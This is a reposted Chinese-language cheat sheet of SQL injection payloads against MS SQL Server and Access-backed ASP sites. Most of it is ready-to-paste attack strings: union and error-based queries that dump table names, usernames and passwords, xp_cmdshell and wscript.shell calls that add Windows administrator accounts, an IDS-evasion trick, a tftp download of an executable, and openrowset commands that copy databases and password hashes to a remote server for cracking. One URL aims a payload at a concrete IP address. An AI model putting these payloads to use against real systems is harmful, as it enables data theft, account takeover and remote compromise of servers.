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Sql注射總結

2024-07-21 02:06:15
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菜鳥學堂:
sql注射總結(強烈推薦)

[轉貼]
sql注射總結(早源于'or'1'='1)

最重要的表名:
select * from sysobjects
sysobjects ncsysobjects
sysindexes tsysindexes
syscolumns
systypes
sysusers
sysdatabases
sysxlogins
sysprocesses


最重要的一些用戶名(默認sql數據庫中存在著的)
public
dbo
guest(一般禁止,或者沒權限)
db_sercurityadmin
ab_dlladmin

一些默認擴展


xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite
xp_availablemedia 驅動器相關
xp_dirtree 目錄
xp_enumdsn odbc連接
xp_loginconfig 模式信息
xp_makecab 創建壓縮卷
xp_ntsec_enumdomains domain信息
xp_terminate_process 終端進程,給出一個pid

例如:
sp_addextendedproc 'xp_webserver', 'c:/temp/xp_foo.dll'
exec xp_webserver
sp_dropextendedproc 'xp_webserver'
bcp "select * from test..foo" queryout c:/inetpub/wwwroot/runcommand.asp -c -slocalhost -usa -pfoobar
' group by users.id having 1=1-
' group by users.id, users.username, users.password, users.privs having 1=1-
'; insert into users values( 666, 'attacker', 'foobar', 0xffff )-

union select top 1 column_name from information_schema.columns where table_name='logintable'-
union select top 1 column_name from information_schema.columns where table_name='logintable' where column_name not in ('login_id')-
union select top 1 column_name from information_schema.columns where table_name='logintable' where column_name not in ('login_id','login_name')-
union select top 1 login_name from logintable-
union select top 1 password from logintable where login_name='rahul'--
構造語句:查詢是否存在xp_cmdshell
' union select @@version,1,1,1--
and 1=(select @@version)
and 'sa'=(select system_user)
' union select ret,1,1,1 from foo--
' union select min(username),1,1,1 from users where username > 'a'-
' union select min(username),1,1,1 from users where username > 'admin'-
' union select password,1,1,1 from users where username = 'admin'--
and user_name()='dbo'
and 0<>(select user_name()-
; declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null, 'c:/winnt ystem32/cmd.exe /c net user swap 5245886 /add'
and 1=(select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell')
;exec master.dbo.sp_addextendedproc 'xp_cmdshell', 'xplog70.dll'


1=(%20select%20count(*)%20from%20master.dbo.sysobjects%20where%20xtype='x'%20and%20name='xp_cmdshell')
and 1=(select is_srvrolemember('sysadmin')) 判斷sa權限是否
and 0<>(select top 1 paths from newtable)-- 暴庫大法
and 1=(select name from master.dbo.sysdatabases where dbid=7) 得到庫名(從1到5都是系統的id,6以上才可以判斷)
創建一個虛擬目錄e盤:
declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', null,' cscript.exe c:/inetpub/wwwroot/mkwebdir.vbs -w "默認 web 站點" -v "e","e:/"'
訪問屬性:(配合寫入一個webshell)
declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', null,' cscript.exe c:/inetpub/wwwroot/chaccess.vbs -a w3svc/1/root/e +browse'


and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
依次提交 dbid = 7,8,9.... 得到更多的數據庫名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='u') 暴到一個表 假設為 admin

and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='u' and name not in ('admin')) 來得到其他的表。
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='u' and name='admin'
and uid>(str(id))) 暴到uid的數值假設為18779569 uid=id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一個admin的一個字段,假設為 user_id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in
('id',...)) 來暴出其他的字段
and 0<(select user_id from bbs.dbo.admin where username>1) 可以得到用戶名
依次可以得到密碼。。。。。假設存在user_id username ,password 等字段

show.asp?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin
show.asp?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin
(union語句到處風靡啊,access也好用

暴庫特殊技巧::%5c='/' 或者把/和/ 修改%5提交
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='u') 得到表名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='u' and name not in('address'))
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='u' and name='admin' and uid>(str(id))) 判斷id值
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=773577794) 所有字段

http://xx.xx.xx.xx/111.asp?id=3400;create table [dbo].[swap] ([swappass][char](255));--

http://xx.xx.xx.xx/111.asp?id=3400 and (select top 1 swappass from swap)=1
;create table newtable(id int identity(1,1),paths varchar(500)) declare @test varchar(20) exec master..xp_regread @rootkey='hkey_local_machine', @key='system/currentcontrolset ervices/w3svc/parameters/virtual roots/', @value_name='/', [email protected] output insert into paths(path) values(@test)

http://61.131.96.39/pageshow.asp?tianname=政策法規&infoid={57c4165a-4206-4c0d-a8d2-e70666ee4e08};use%20master;declare%[email protected]%20%20int;exec%20sp_oacreate%20"wscript.shell",@s%20out;exec%20sp_oamethod%[email protected],"run",null,"cmd.exe%20/c%20ping%201.1.1.1";--


得到了web路徑d:/xxxx,接下來:
http://xx.xx.xx.xx/111.asp?id=3400;use ku1;--
http://xx.xx.xx.xx/111.asp?id=3400;create table cmd (str image);--


傳統的存在xp_cmdshell的測試過程:
;exec master..xp_cmdshell 'dir'
;exec master.dbo.sp_addlogin hax;--
;exec master.dbo.sp_password null,hax,hax;--
;exec master.dbo.sp_addsrvrolemember hax sysadmin;--
;exec master.dbo.xp_cmdshell 'net user hax 5258 /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
;exec master.dbo.xp_cmdshell 'net localgroup administrators hax /add';--
exec master..xp_servicecontrol 'start', 'schedule'
exec master..xp_servicecontrol 'start', 'server'
http://www.xxx.com/list.asp?classid=1; declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null, 'c:/winnt ystem32/cmd.exe /c net user swap 5258 /add'
;declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null, 'c:/winnt ystem32/cmd.exe /c net localgroup administrators swap/add'

http://localhost/show.asp?id=1'; exec master..xp_cmdshell 'tftp -i youip get file.exe'-

declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:/'
declare @a sysname set @a='xp'+'_cm'+'dshell' exec @a 'dir c:/'
;declare @a;set @a=db_name();backup database @a to disk='你的ip你的共享目錄bak.dat'
如果被限制則可以。
select * from openrowset('sqloledb','server';'sa';'','select ''ok!'' exec master.dbo.sp_addlogin hax')
傳統查詢構造:
select * from news where id=... and topic=... and .....
admin'and 1=(select count(*) from [user] where username='victim' and right(left(userpass,01),1)='1') and userpass <>'
select 123;--
;use master;--
:a' or name like 'fff%';-- 顯示有一個叫ffff的用戶哈。
'and 1<>(select count(email) from [user]);--
;update [users] set email=(select top 1 name from sysobjects where xtype='u' and status>0) where name='ffff';--
說明:
上面的語句是得到數據庫中的第一個用戶表,并把表名放在ffff用戶的郵箱字段中。
通過查看ffff的用戶資料可得第一個用表叫ad
然后根據表名ad得到這個表的id
ffff';update [users] set email=(select top 1 id from sysobjects where xtype='u' and name='ad') where name='ffff';--

象下面這樣就可以得到第二個表的名字了
ffff';update [users] set email=(select top 1 name from sysobjects where xtype='u' and id>581577110) where name='ffff';--
ffff';update [users] set email=(select top 1 count(id) from password) where name='ffff';--
ffff';update [users] set email=(select top 1 pwd from password where id=2) where name='ffff';--

ffff';update [users] set email=(select top 1 name from password where id=2) where name='ffff';--

exec master..xp_servicecontrol 'start', 'schedule'
exec master..xp_servicecontrol 'start', 'server'
sp_addextendedproc 'xp_webserver', 'c:/temp/xp_foo.dll'
擴展存儲就可以通過一般的方法調用:
exec xp_webserver
一旦這個擴展存儲執行過,可以這樣刪除它:
sp_dropextendedproc 'xp_webserver'

insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)-

insert into users values( 667,123,123,0xffff)-

insert into users values ( 123, 'admin''--', 'password', 0xffff)-

;and user>0
;;and (select count(*) from sysobjects)>0
;;and (select count(*) from mysysobjects)>0 //為access數據庫

-----------------------------------------------------------通常注射的一些介紹:
a) id=49 這類注入的參數是數字型,sql語句原貌大致如下:
select * from 表名 where 字段=49
注入的參數為id=49 and [查詢條件],即是生成語句:
select * from 表名 where 字段=49 and [查詢條件]

(b) class=連續劇 這類注入的參數是字符型,sql語句原貌大致概如下:
select * from 表名 where 字段='連續劇'
注入的參數為class=連續劇' and [查詢條件] and ''=' ,即是生成語句:
select * from 表名 where 字段='連續劇' and [查詢條件] and ''=''
(c) 搜索時沒過濾參數的,如keyword=關鍵字,sql語句原貌大致如下:
select * from 表名 where 字段like '%關鍵字%'
注入的參數為keyword=' and [查詢條件] and '%25'=', 即是生成語句:
select * from 表名 where字段like '%' and [查詢條件] and '%'='%'
;;and (select top 1 name from sysobjects where xtype='u' and status>0)>0
sysobjects是sqlserver的系統表,存儲著所有的表名、視圖、約束及其它對象,xtype='u' and status>0,表示用戶建立的表名,上面的語句將第一個表名取出,與0比較大小,讓報錯信息把表名暴露出來。
;;and (select top 1 col_name(object_id('表名'),1) from sysobjects)>0
從⑤拿到表名后,用object_id('表名')獲取表名對應的內部id,col_name(表名id,1)代表該表的第1個字段名,將1換成2,3,4...就可以逐個獲取所猜解表里面的字段名。


post.htm內容:主要是方便輸入。
<iframe name=p src=# width=800 height=350 frameborder=0></iframe>
<br>
<form action=http://test.com/count.asp target=p>
<input name="id" value="1552;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0);--" >
<input type=submit value=">>>">
<input type=hidden name=fno value="2, 3">
</form>
枚舉出他的數據表名:
id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0);--
這是將第一個表名更新到aaa的字段處。
讀出第一個表,第二個表可以這樣讀出來(在條件后加上 and name<>'剛才得到的表名')。
id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0 and name<>'vote');--
然后id=1552 and exists(select * from aaa where aaa>5)
讀出第二個表,^^^^^^一個個的讀出,直到沒有為止。
讀字段是這樣:
id=1552;update aaa set aaa=(select top 1 col_name(object_id('表名'),1));--
然后id=1552 and exists(select * from aaa where aaa>5)出錯,得到字段名
id=1552;update aaa set aaa=(select top 1 col_name(object_id('表名'),2));--
然后id=1552 and exists(select * from aaa where aaa>5)出錯,得到字段名
--------------------------------高級技巧:
[獲得數據表名][將字段值更新為表名,再想法讀出這個字段的值就可得到表名]
update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>'你得到的表名' 查出一個加一個]) [ where 條件]
select top 1 name from sysobjects where xtype=u and status>0 and name not in('table1','table2',…)
通過sqlserver注入漏洞建數據庫管理員帳號和系統管理員帳號[當前帳號必須是sysadmin組]

[獲得數據表字段名][將字段值更新為字段名,再想法讀出這個字段的值就可得到字段名]
update 表名 set 字段=(select top 1 col_name(object_id('要查詢的數據表名'),字段列如:1) [ where 條件]

繞過ids的檢測[使用變量]
declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:/'
declare @a sysname set @a='xp'+'_cm'+'dshell' exec @a 'dir c:/'


1、 開啟遠程數據庫
基本語法
select * from openrowset('sqloledb', 'server=servername;uid=sa;pwd=apachy_123', 'select * from table1' )
參數: (1) oledb provider name
2、 其中連接字符串參數可以是任何和端口用來連接,比如
select * from openrowset('sqloledb', 'uid=sa;pwd=apachy_123;network=dbmssocn;address=202.100.100.1,1433;', 'select * from table'

要復制目標主機的整個數據庫,首先要在目標主機上和自己機器上的數據庫建立連接(如何在目標主機上建立遠程連接,剛才已經講了),之后insert所有遠程表到本地表。

基本語法:
insert into openrowset('sqloledb', 'server=servername;uid=sa;pwd=apachy_123', 'select * from table1') select * from table2
這行語句將目標主機上table2表中的所有數據復制到遠程數據庫中的table1表中。實際運用中適當修改連接字符串的ip地址和端口,指向需要的地方,比如:
insert into openrowset('sqloledb', 'uid=sa;pwd=apachy_123;network=dbmssocn;address=202.100.100.1,1433;', 'select * from table1') select * from table2

insert into openrowset('sqloledb', 'uid=sa;pwd=hack3r;network=dbmssocn;address=202.100.100.1,1433;', 'select * from _sysdatabases')
select * from master.dbo.sysdatabases

insert into openrowset('sqloledb', 'uid=sa;pwd=hack3r;network=dbmssocn;address=202.100.100.1,1433;', 'select * from _sysobjects')
select * from user_database.dbo.sysobjects

insert into openrowset('sqloledb', 'uid=sa;pwd=apachy_123;network=dbmssocn;address=202.100.100.1,1433;', 'select * from _syscolumns')
select * from user_database.dbo.syscolumns

之后,便可以從本地數據庫中看到目標主機的庫結構,這已經易如反掌,不多講,復制數據庫:
insert into openrowset('sqloledb', 'uid=sa;pwd=apachy_123;network=dbmssocn;address=202.100.100.1,1433;', 'select * from table1') select * from database..table1

insert into openrowset('sqloledb', 'uid=sa;pwd=apachy_123;network=dbmssocn;address=202.100.100.1,1433;', 'select * from table2') select * from database..table2

......

3、 復4、 制哈西表(hash)

這實際上是上述復5、 制數據庫的一個擴展應用。登錄密碼的hash存儲于sysxlogins中。方法如下:
insert into openrowset('sqloledb', 'uid=sa;pwd=apachy_123;network=dbmssocn;address=202.100.100.1,1433;', 'select * from _sysxlogins') select * from database.dbo.sysxlogins
得到hash之后,6、 就可以進行暴力破解。這需要一點運氣和大量時間。


遍歷目錄的方法:
先創建一個臨時表:temp
'5;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
5';insert temp exec master.dbo.xp_availablemedia;-- 獲得當前所有驅動器
5';insert into temp(id) exec master.dbo.xp_subdirs 'c:/';-- 獲得子目錄列表
5';insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:/';-- 獲得所有子目錄的目錄樹結構,并寸入temp表中

5';insert into temp(id) exec master.dbo.xp_cmdshell 'type c:/web/index.asp';-- 查看某個文件的內容
5';insert into temp(id) exec master.dbo.xp_cmdshell 'dir c:/';--
5';insert into temp(id) exec master.dbo.xp_cmdshell 'dir c:/ *.asp /s/a';--
5';insert into temp(id) exec master.dbo.xp_cmdshell 'cscript c:/inetpub/adminscripts/adsutil.vbs enum w3svc'

5';insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:/';-- (xp_dirtree適用權限public)
寫入表:
語句1:http://www.xxxxx.com/down/list.asp?id=1 and 1=(select is_srvrolemember('sysadmin'));--
語句2:http://www.xxxxx.com/down/list.asp?id=1 and 1=(select is_srvrolemember('serveradmin'));--
語句3:http://www.xxxxx.com/down/list.asp?id=1 and 1=(select is_srvrolemember('setupadmin'));--
語句4:http://www.xxxxx.com/down/list.asp?id=1 and 1=(select is_srvrolemember('securityadmin'));--
語句5:http://www.xxxxx.com/down/list.asp?id=1 and 1=(select is_srvrolemember('securityadmin'));--
語句6:http://www.xxxxx.com/down/list.asp?id=1 and 1=(select is_srvrolemember('diskadmin'));--
語句7:http://www.xxxxx.com/down/list.asp?id=1 and 1=(select is_srvrolemember('bulkadmin'));--
語句8:http://www.xxxxx.com/down/list.asp?id=1 and 1=(select is_srvrolemember('bulkadmin'));--
語句9:http://www.xxxxx.com/down/list.asp?id=1 and 1=(select is_member('db_owner'));--
把路徑寫到表中去:
http://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(100), id int)-
http://http://www.xxxxx.com/down/list.asp?id=1;insert  dirs exec master.dbo.xp_dirtree 'c:/'-
http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs)-
http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs where paths not in('@inetpub'))-
語句:http://http://www.xxxxx.com/down/list.asp?id=1;create table dirs1(paths varchar(100), id int)--
語句:http://http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree 'e:/web'--
語句:http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs1)-
把數據庫備份到網頁目錄:下載
http://http://www.xxxxx.com/down/list.asp?id=1;declare @a sysname; set @a=db_name();backup database @a to disk='e:/web/down.bak';--


and%201=(select%20top%201%20name%20from(select%20top%2012%20id,name%20from%20sysobjects%20where%20xtype=char(85))%20t%20order%20by%20id%20desc)
and%201=(select%20top%201%20col_name(object_id('user_login'),1)%20from%20sysobjects) 參看相關表。
and 1=(select%20user_id%20from%20user_login)
and%200=(select%20user%20from%20user_login%20where%20user>1)
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